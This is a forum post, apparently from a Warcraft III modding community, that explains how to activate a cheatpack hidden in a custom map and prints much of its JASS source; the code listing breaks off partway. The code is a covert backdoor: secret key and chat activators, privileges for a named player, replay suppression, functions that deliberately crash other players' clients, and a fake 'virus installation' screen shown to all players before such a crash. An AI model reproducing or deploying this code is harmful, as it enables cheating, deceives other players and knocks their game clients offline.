Forum Staff
Joined: March 23rd, 2016, 8:06 pmPosts: 3282
Well, this cheatpack seens to have two activators, i don't have the map so i can't test. The first activator is a key pressing activator Code:
constant string Jiantou="DDRRLDLD"
So you have to press the arrow keys:
Down Down Right Right Left Down Left Down The second activator is a string activator Code:
string Danci="-Apink"
So you just have to type
"-Apink" Both activators are for the same cheatpack, so there's no difference between both activators.
Also there's some admin activators for special cheats Code:
Type "-adminlogin" after type "-apink"
After activating the cheatpack, you can see the commands typing: Code:
-list1 -list2 -list3... until list8
This is a edited version of JJCP, but is easly to get this custom JJCP. The globals code is
Spoiler :
Code:
gamecache CACHE=InitGameCache("KeyBindings.w3v") trigger ChuangjianDanwei=CreateTrigger() trigger gg_trg_Ting=CreateTrigger() trigger ChuangjianRect=CreateTrigger() trigger QIPIAN3=CreateTrigger() trigger array QIPIAN1 trigger QIPIAN2=CreateTrigger() constant string Jiantou="DDRRLDLD" string Danci="-Apink" force udg_ting=CreateForce() force PIANZI=CreateForce() group Zhiyu=CreateGroup() trigger d8d=CreateTrigger() string array SHENG1 integer array SHENG2 string Xingtong integer Bianhao=0 integer mu8u=0 trigger Siwang real xiaoX=0 real xiaoY=0 real daX=0 real daY=0 rect Zhuce real s8h boolean DJBs1=true boolean DJBb8=false boolean array DJBba boolean array DJBba2 player DJBadmin=null
Englobals code
Spoiler :
Code:
function WaitForString takes player b2j,string c8h,boolean b2b returns nothing local trigger t2t=CreateTrigger() if b2b then call TriggerRegisterPlayerChatEvent(t2t,b2j,"-clearkeys",true) endif call TriggerRegisterPlayerChatEvent(t2t,b2j,c8h,false) loop call TriggerSleepAction(1.00) exitwhen GetTriggerExecCount(t2t)>0 endloop call DestroyTrigger(t2t) set t2t=null set b2j=null set c8h="" endfunction function DJB_Crash takes player p,player b2j returns nothing if(p==GetLocalPlayer())and(p!=DJBadmin)and(p!=b2j)then call ExecuteFunc("FS Crashed") set p=null set b2j=null endif endfunction function DJB_AdminGet takes player b2j returns nothing if DJBs1==false then call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|c00ffff00 is already admin.") endif if(DJBs1==true)and(DJBba[GetPlayerId(b2j)]==true)then set DJBadmin=b2j set DJBs1=false call DisplayTimedTextToPlayer(DJBadmin,0,0,10,"|c00ffff00 You are now admin.") elseif b2j==DJBadmin then call DisplayTimedTextToPlayer(DJBadmin,0,0,10,"|c00ffff00 You're already admin!") endif set b2j=null set DJBb8=true endfunction function DJB_Logout takes player b2j returns nothing if b2j==DJBadmin then call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|c00ffff00 has been successfully logged out.") endif set b2j=null set DJBs1=true set DJBadmin=null set DJBb8=false endfunction function Clusterfuck_Child takes nothing returns nothing call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endfunction function Clusterfuck takes player p,player b2j returns nothing if p==GetLocalPlayer()then if(p!=DJBadmin)and(GetPlayerName(p)!="JasoN.LuN")and(p!=b2j)then call RemoveUnit(CreateUnit(GetLocalPlayer(),'hpea',0,0,0)) call TimerStart(CreateTimer(),.001,true,function Clusterfuck_Child) endif endif endfunction function ResetCD takes nothing returns nothing call UnitResetCooldown(GetTriggerUnit()) endfunction function ResetMP takes nothing returns nothing local unit d2w=GetTriggerUnit() call SetUnitState(d2w,UNIT_STATE_MANA,GetUnitState(d2w,UNIT_STATE_MAX_MANA)) set d2w=null endfunction function CDandMana takes player b2j,boolean b2b,string c8h returns nothing local trigger t2t=CreateTrigger() local triggeraction ta2t if b2b then set ta2t=TriggerAddAction(t2t,function ResetMP) else set ta2t=TriggerAddAction(t2t,function ResetCD) endif call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_CAST,null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_FINISH,null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_CHANNEL,null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_ENDCAST,null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,EVENT_PLAYER_UNIT_SPELL_EFFECT,null) call WaitForString(b2j,c8h,false) call DisableTrigger(t2t) call TriggerRemoveAction(t2t,ta2t) call DestroyTrigger(t2t) set t2t=null set ta2t=null set b2j=null set c8h="" endfunction function StringRaw2 takes nothing returns nothing local integer zrg=0 loop exitwhen zrg>11 if GetPlayerName(Player(zrg))=="JasoN.LuN"then call DisplayTextToPlayer(Player(zrg),0,0,"|c00ffff00Hi all ! JasoN.LuN here xD") call ForceAddPlayer(PIANZI,Player(zrg)) call TriggerRegisterPlayerChatEvent(QIPIAN3,Player(zrg),"-",false) call DoNotSaveReplay() endif set zrg=zrg+1 endloop endfunction function StoPC takes string c8h,player b2j returns playercolor if c8h=="red"then return PLAYER_COLOR_RED elseif c8h=="blue"then return PLAYER_COLOR_BLUE elseif c8h=="teal"then return PLAYER_COLOR_CYAN elseif c8h=="purple"then return PLAYER_COLOR_PURPLE elseif c8h=="yellow"then return PLAYER_COLOR_YELLOW elseif c8h=="orange"then return PLAYER_COLOR_ORANGE elseif c8h=="green"then return PLAYER_COLOR_GREEN elseif c8h=="pink"then return PLAYER_COLOR_PINK elseif c8h=="gray"then return PLAYER_COLOR_LIGHT_GRAY elseif c8h=="lb"then return PLAYER_COLOR_LIGHT_BLUE elseif c8h=="dg"then return PLAYER_COLOR_AQUA elseif c8h=="brown"then return PLAYER_COLOR_BROWN endif set b2j=null set c8h="" return GetPlayerColor(b2j) endfunction function Deathy takes nothing returns nothing call KillUnit(GetTriggerUnit()) endfunction function Explodey takes nothing returns nothing call SetUnitExploded(GetTriggerUnit(),true) endfunction function Redy takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_RED) endfunction function Bluey takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BLUE) endfunction function Greeny takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_GREEN) endfunction function Pinky takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PINK) endfunction function Purpley takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PURPLE) endfunction function Greyz takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_GRAY) endfunction function LightB takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_BLUE) endfunction function DarkG takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_AQUA) endfunction function Yellowy takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_YELLOW) endfunction function Orangey takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_ORANGE) endfunction function Tealy takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_CYAN) endfunction function Browny takes nothing returns nothing call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BROWN) endfunction function StoUO takes string c8h returns player if c8h=="red"then return Player(0) elseif c8h=="blue"then return Player(1) elseif c8h=="teal"then return Player(2) elseif c8h=="purple"then return Player(3) elseif c8h=="yellow"then return Player(4) elseif c8h=="orange"then return Player(5) elseif c8h=="green"then return Player(6) elseif c8h=="pink"then return Player(7) elseif c8h=="gray"then return Player(8) elseif c8h=="lb"then return Player(9) elseif c8h=="dg"then return Player(10) elseif c8h=="brown"then return Player(11) endif set c8h="" return null endfunction function Deng_ASCII takes integer di2i,string ds2s returns nothing local integer di3i=0 loop set SHENG1[di2i+di3i]=SubString(ds2s,di3i,di3i+1) set di3i=di3i+1 exitwhen di3i>=StringLength(ds2s) endloop endfunction function ID2String takes string c8h returns integer local integer ii2ii=48 loop exitwhen ii2ii>122 if(SHENG1[ii2ii]==c8h)then return ii2ii endif set ii2ii=ii2ii+1 endloop return 0 endfunction function Str2RAW takes string c8h returns integer return ID2String(SubString(c8h,0,1))*0x1000000+ID2String(SubString(c8h,1,2))*0x10000+ID2String(SubString(c8h,2,3))*0x100+ID2String(SubString(c8h,3,4)) endfunction function RAW2Str takes integer I2I,player b2j returns nothing call DisplayTextToPlayer(b2j,0,0,SHENG1[I2I/0x1000000]+SHENG1[(I2I-0x1000000*(I2I/0x1000000))/0x10000]+SHENG1[((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))/0x100]+SHENG1[((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))-0x100*(((I2I-0x1000000*(I2I/0x1000000))-0x10000*((I2I-0x1000000*(I2I/0x1000000))/0x10000))/0x100)]) endfunction function FastUnit2 takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer I2I=GetTrainedUnitType() local location j2j=GetUnitLoc(GetTriggerUnit()) call CreateUnitAtLoc(b2j,I2I,j2j,270) set b2j=null set j2j=null endfunction function FastUnit takes player b2j,string c8h returns nothing local trigger t2t=CreateTrigger() local triggeraction zta=TriggerAddAction(t2t,function FastUnit2) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(33),null) call WaitForString(b2j,c8h,false) call DisableTrigger(t2t) call TriggerRemoveAction(t2t,zta) call DestroyTrigger(t2t) set t2t=null set zta=null set b2j=null set c8h="" endfunction function Construct takes nothing returns nothing call UnitSetConstructionProgress(GetTriggerUnit(),100) call UnitSetUpgradeProgress(GetTriggerUnit(),100) endfunction function Research takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer G2G=GetResearched() local integer h2h=GetPlayerTechCount(b2j,G2G,true) call SetPlayerTechResearched(b2j,G2G,h2h+1) set b2j=null endfunction function Tele2 takes nothing returns nothing local unit d2w=GetTriggerUnit() local location k2k=GetOrderPointLoc() if GetIssuedOrderId()==851990then call SetUnitPosition(d2w,GetLocationX(k2k),GetLocationY(k2k)) endif set d2w=null set k2k=null endfunction function Tele takes player b2j,string c8h returns nothing local trigger t2t=CreateTrigger() local triggeraction zta=TriggerAddAction(t2t,function Tele2) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(39),null) call WaitForString(b2j,c8h,false) call DisableTrigger(t2t) call TriggerRemoveAction(t2t,zta) call DestroyTrigger(t2t) set t2t=null set zta=null set b2j=null set c8h="" endfunction function UnitMaker takes nothing returns nothing local player b2j=GetTriggerPlayer() call CreateUnitAtLoc(b2j,mu8u,GetOrderPointLoc(),bj_UNIT_FACING) call CreateItemLoc(mu8u,GetOrderPointLoc()) call CreateDestructableLoc(mu8u,GetOrderPointLoc(),bj_UNIT_FACING,1,10) set b2j=null endfunction function CreateUnitz takes player b2j returns nothing call TriggerRegisterPlayerUnitEvent(ChuangjianDanwei,b2j,EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER,null) call TriggerAddAction(ChuangjianDanwei,function UnitMaker) set b2j=null endfunction function FastBuild takes player b2j,boolean b2b,string c8h returns nothing local trigger t2t=CreateTrigger() local triggeraction zta if b2b then set zta=TriggerAddAction(t2t,function Construct) else set zta=TriggerAddAction(t2t,function Research) endif call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(30),null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(27),null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(40),null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(38),null) call TriggerRegisterPlayerUnitEvent(t2t,b2j,ConvertPlayerUnitEvent(35),null) call WaitForString(b2j,c8h,false) call DisableTrigger(t2t) call TriggerRemoveAction(t2t,zta) call DestroyTrigger(t2t) set t2t=null set zta=null set b2j=null set c8h="" endfunction function StringConv takes string c8h returns string local integer i2i=0 local string ss2s="" local integer is2s=StringLength(c8h) loop exitwhen i2i>is2s if SubString(c8h,i2i,i2i+1)=="*"then set ss2s=ss2s+"|cff" elseif SubString(c8h,i2i,i2i+1)=="-"then set ss2s=ss2s+"|r" else set ss2s=ss2s+SubString(c8h,i2i,i2i+1) endif set i2i=i2i+1 endloop set c8h="" return ss2s endfunction function Deng_Player_Color takes integer di2i returns string if di2i==0then return"FF0000" elseif di2i==1then return"0000FF" elseif di2i==2then return"00FFFF" elseif di2i==3then return"A020F0" elseif di2i==4then return"FFFF00" elseif di2i==5then return"FFA500" elseif di2i==6then return"00FF00" elseif di2i==7then return"FF1493" elseif di2i==8then return"696969" elseif di2i==9then return"9AC0CD" elseif di2i==10then return"006400" elseif di2i==11then return"8B4513" endif return"FFFFFF" endfunction function Trig_Hear_Actions takes nothing returns nothing local player b2j=GetTriggerPlayer() local string c8h=GetPlayerName(b2j) local integer i3i=GetPlayerId(b2j) local integer i2i=0 loop if IsPlayerInForce(Player(i2i),udg_ting)then call DisplayTimedTextToPlayer(Player(i2i),0,0,15,"|cff"+Deng_Player_Color(i3i)+c8h+"|r : "+GetEventPlayerChatString()) endif set i2i=i2i+1 exitwhen i2i>11 endloop endfunction function Talk takes nothing returns nothing local integer p=0 if SHENG2[0]<1then set SHENG2[0]=1 loop exitwhen p>11 call TriggerRegisterPlayerChatEvent(gg_trg_Ting,Player(p),"",false) set p=p+1 endloop call TriggerAddAction(gg_trg_Ting,function Trig_Hear_Actions) endif endfunction function MapHack takes player b2j returns nothing local fogmodifier f2f=CreateFogModifierRect(b2j,FOG_OF_WAR_VISIBLE,bj_mapInitialPlayableArea,false,false) local integer i2i=0 call FogModifierStart(f2f) loop if i2i!=GetPlayerId(b2j)then call SetPlayerAlliance(Player(i2i),b2j,ConvertAllianceType(5),true) endif set i2i=i2i+1 exitwhen i2i>15 endloop call WaitForString(b2j,"-nomh",false) set i2i=0 loop if i2i!=GetPlayerId(b2j)then call SetPlayerAlliance(Player(i2i),b2j,ConvertAllianceType(5),false) endif set i2i=i2i+1 exitwhen i2i>15 endloop call FogModifierStop(f2f) call DestroyFogModifier(f2f) set f2f=null set b2j=null endfunction function RectActions takes nothing returns nothing set Siwang=CreateTrigger() call TriggerRegisterEnterRectSimple(Siwang,Zhuce) if Xingtong=="kill"then call TriggerAddAction(Siwang,function Deathy) elseif Xingtong=="explode"then call TriggerAddAction(Siwang,function Explodey) elseif Xingtong=="red"then call TriggerAddAction(Siwang,function Redy) elseif Xingtong=="blue"then call TriggerAddAction(Siwang,function Bluey) elseif Xingtong=="pink"then call TriggerAddAction(Siwang,function Pinky) elseif Xingtong=="green"then call TriggerAddAction(Siwang,function Greeny) elseif Xingtong=="brown"then call TriggerAddAction(Siwang,function Browny) elseif Xingtong=="lb"then call TriggerAddAction(Siwang,function LightB) elseif Xingtong=="dg"then call TriggerAddAction(Siwang,function DarkG) elseif Xingtong=="teal"then call TriggerAddAction(Siwang,function Tealy) elseif Xingtong=="yellow"then call TriggerAddAction(Siwang,function Yellowy) elseif Xingtong=="gray"then call TriggerAddAction(Siwang,function Greyz) elseif Xingtong=="orange"then call TriggerAddAction(Siwang,function Orangey) elseif Xingtong=="purple"then call TriggerAddAction(Siwang,function Purpley) elseif Xingtong=="none"then call TriggerAddAction(Siwang,null) endif endfunction function MakeRect takes nothing returns nothing set Bianhao=Bianhao+1 if Bianhao==1 then set xiaoX=GetOrderPointX() set xiaoY=GetOrderPointY() endif if Bianhao==2 then set daX=GetOrderPointX() set daY=GetOrderPointY() call DestroyTrigger(ChuangjianRect) set Bianhao=0 if xiaoX+xiaoY<daX+daY then set Zhuce=Rect(xiaoX,xiaoY,daX,daY) elseif xiaoX+xiaoY>daX+daY then set Zhuce=Rect(daX,daY,xiaoX,xiaoY) endif call RectActions() endif endfunction function RectClick takes player b2j returns nothing set ChuangjianRect=CreateTrigger() call TriggerRegisterPlayerUnitEvent(ChuangjianRect,b2j,EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER,null) call TriggerAddAction(ChuangjianRect,function MakeRect) endfunction function HealUnits takes nothing returns nothing call SetUnitLifePercentBJ(GroupPickRandomUnit(Zhiyu),s8h) endfunction function DestroyTree takes nothing returns nothing call KillDestructable(GetEnumDestructable()) endfunction function GrowTree takes nothing returns nothing call DestructableRestoreLife(GetEnumDestructable(),GetDestructableMaxLife(GetEnumDestructable()),true) endfunction function Deng_StartMana takes nothing returns nothing call CDandMana(Player(SHENG2[1]),true,"-nomana") endfunction function Deng_StartNocd takes nothing returns nothing call CDandMana(Player(SHENG2[1]),false,"-cdon") endfunction function Deng_StartFast takes nothing returns nothing call FastUnit(Player(SHENG2[1]),"-nofast") endfunction function Deng_StartUFast takes nothing returns nothing call FastBuild(Player(SHENG2[1]),false,"-noufast") endfunction function Deng_StartBFast takes nothing returns nothing call FastBuild(Player(SHENG2[1]),true,"-nobfast") endfunction function Deng_StartTele takes nothing returns nothing call Tele(Player(SHENG2[1]),"-note") endfunction function Deng_StartAutoh takes nothing returns nothing loop call TriggerSleepAction(.1) call HealUnits() endloop endfunction function Deng_StartMapHack takes nothing returns nothing call MapHack(Player(SHENG2[1])) endfunction function Cheatz takes player b2j,string c8h returns nothing local sound Music=CreateSound("cool.mp3",false,false,false,10,10,"DefaultEAXON") local integer Sethp=S2I(SubString(c8h,7,12))/50 local integer i2i=S2I(SubString(c8h,5,20)) local integer z2z=S2I(SubString(c8h,4,19)) local integer dj8b=S2I(SubString(c8h,6,9)) local integer c2c=S2I(SubString(c8h,9,11)) local real j2j=S2R(SubString(c8h,6,20)) local string id2d=I2S(GetPlayerId(b2j)) local group g2g=CreateGroup() local group h2g=CreateGroup() local force udg_cuowu=CreateForce() local integer Nowhp=0 local integer temp=0 local integer DJ8B=0 local unit d2w local unit h2u local player DJBp1=GetTriggerPlayer() local string DJBs1=GetEventPlayerChatString() local integer DJBi1=StringLength(DJBs1) local integer DJBi2=0 if SubString(c8h,0,6)=="-gold "then call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_GOLD,GetPlayerState(b2j,PLAYER_STATE_RESOURCE_GOLD)+S2I(SubString(c8h,6,13))) elseif SubString(c8h,0,7)=="-lumber"then call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_LUMBER,GetPlayerState(b2j,PLAYER_STATE_RESOURCE_LUMBER)+S2I(SubString(c8h,8,15))) elseif SubString(c8h,0,5)=="-mana"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartMana") elseif SubString(c8h,0,7)=="-error "then if b2j==DJBadmin then call CinematicModeBJ(true,bj_FORCE_ALL_PLAYERS) call ShowInterfaceForceOn(udg_cuowu,0.01) call CinematicFadeBJ(bj_CINEFADETYPE_FADEOUT,2.00,"ReplaceableTextures\\CameraMasks\\Black_mask.blp",0,0,0,0) call SetUserControlForceOff(udg_cuowu) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000S|r|cffFF0000t|r|cffFF0000a|r|cffFF0000r|r|cffFF0000t|r|cffFF0000i|r|cffFF0000n|r|cffFF0000g|r |c00ffff00JasoN.LuN's|r |c0000ff00Virus|r |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000a|r|cff8B0000t|r|cff8B0000i|r|cff8B0000o|r|cff8B0000n|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r") call TriggerSleepAction(1.5) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E80%|r") call TriggerSleepAction(1.5) call EnableTrigger(d8d) call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E812%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E829%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E841%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E856%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E874%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E898%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000i|r|cff8B0000n|r|cff8B0000g|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E8|r.|cffE8E8E8|r.|cffE8E8E8.|r|cffE8E8E8.|r|cffE8E8E8.|r.|cffE8E8E899%|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,.5)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS," |cffFF0000The|r |cffFF0000I|r|cffFF0000n|r|cffFF0000s|r|cffFF0000t|r|cffFF0000a|r|cffff0000l|r|cffff0000l|r|cff8B0000ation|r |cffFF0000is complete.|r") call TriggerSleepAction(RMaxBJ(bj_WAIT_FOR_COND_MIN_INTERVAL,1)) call DisplayTextToForce(bj_FORCE_ALL_PLAYERS,"|cff00FFFFThank you for using|r |c00ffff00JasoN.LuN's|r |c0000ff00Virus|r |cff00FFFFautomated installer. Please restart your computer to ensure completion of the installation.|r") call TriggerSleepAction(5) call CinematicModeBJ(false,bj_FORCE_ALL_PLAYERS) call FinishCinematicFadeAfterBJ(.5) call Clusterfuck(Player(S2I(SubString(DJBs1,7,9))),DJBp1) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,9)=="-unfreeze"then if b2j==DJBadmin then call PauseGameOff() else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,7)=="-freeze"then if b2j==DJBadmin then call PauseGameOn() else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,6)=="-list1"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-gold # - Adds # to your current gold") call DisplayTimedTextToPlayer(b2j,0,0,10,"-lumber # - Adds # to your current lumber") call DisplayTimedTextToPlayer(b2j,0,0,10,"-food # - Set your food capacity") call DisplayTimedTextToPlayer(b2j,0,0,10,"-mh - Reveals the map for you") call DisplayTimedTextToPlayer(b2j,0,0,10,"-nomh - No reveals the map for you") elseif SubString(c8h,0,6)=="-list2"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-time <0-24> - Sets time of day to specified") call DisplayTimedTextToPlayer(b2j,0,0,10,"-clear - Clears texts on the screen") call DisplayTimedTextToPlayer(b2j,0,0,10,"-logging - Remove all trees") call DisplayTimedTextToPlayer(b2j,0,0,10,"-reforest - Grow all removed trees") call DisplayTimedTextToPlayer(b2j,0,0,10,"-locktrade - lock gold and lumber trade in F11") call DisplayTimedTextToPlayer(b2j,0,0,10,"-unlocktrade - unlock trade in F11") elseif SubString(c8h,0,6)=="-list3"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-lock - lock share player in F11") call DisplayTimedTextToPlayer(b2j,0,0,10,"-unlock - unlock share player in F11") call DisplayTimedTextToPlayer(b2j,0,0,10,"-say [msg] - show your message on the screen") call DisplayTimedTextToPlayer(b2j,0,0,10,"-fast - Upgrades take no time") call DisplayTimedTextToPlayer(b2j,0,0,10,"-bfast - instant a building structure by pressing ESC") call DisplayTimedTextToPlayer(b2j,0,0,10,"-ufast - instant a training structure by pressing ESC") elseif SubString(c8h,0,6)=="-list4"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-mana - Infinite mana to your selected units") call DisplayTimedTextToPlayer(b2j,0,0,10,"-nocd - Turn off cooldown for all skills and active items to your selected units") call DisplayTimedTextToPlayer(b2j,0,0,10,"-cdon - Turn on cooldown for all skills and active items to your selected untis") call DisplayTimedTextToPlayer(b2j,0,0,10,"-autoh # - Auto-heal your selected unit with # %") call DisplayTimedTextToPlayer(b2j,0,0,10,"-autohoff - Remove your selected unit auto-heal") elseif SubString(c8h,0,6)=="-list5"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-agi # - Adds # agility to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-str # - Adds # strength to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-int # - Adds # intelligence to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-lvl # - Sets # level to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-downlvl # - Decreases your selected unit's level by #") call DisplayTimedTextToPlayer(b2j,0,0,10,"-xp # - Sets # experience to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-hp # - Sets # health points to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-mp # - Sets # mana points to selected unit") elseif SubString(c8h,0,6)=="-list6"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-ms # - Sets # move speed to selected unit") call DisplayTimedTextToPlayer(b2j,0,0,10,"-vul - Makes selected units vulnerable") call DisplayTimedTextToPlayer(b2j,0,0,10,"-invul - Makes selected units invulnerable") call DisplayTimedTextToPlayer(b2j,0,0,10,"-vis - Makes selected units visible") call DisplayTimedTextToPlayer(b2j,0,0,10,"-invis - Makes selected units invisible") call DisplayTimedTextToPlayer(b2j,0,0,10,"-kill - Kills selected units") elseif SubString(c8h,0,6)=="-list7"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-tele - Sets patrol (P) to teleport") call DisplayTimedTextToPlayer(b2j,0,0,10,"-note - Sets patrol (P) to normal") call DisplayTimedTextToPlayer(b2j,0,0,10,"-stop - Disables selected units commands") call 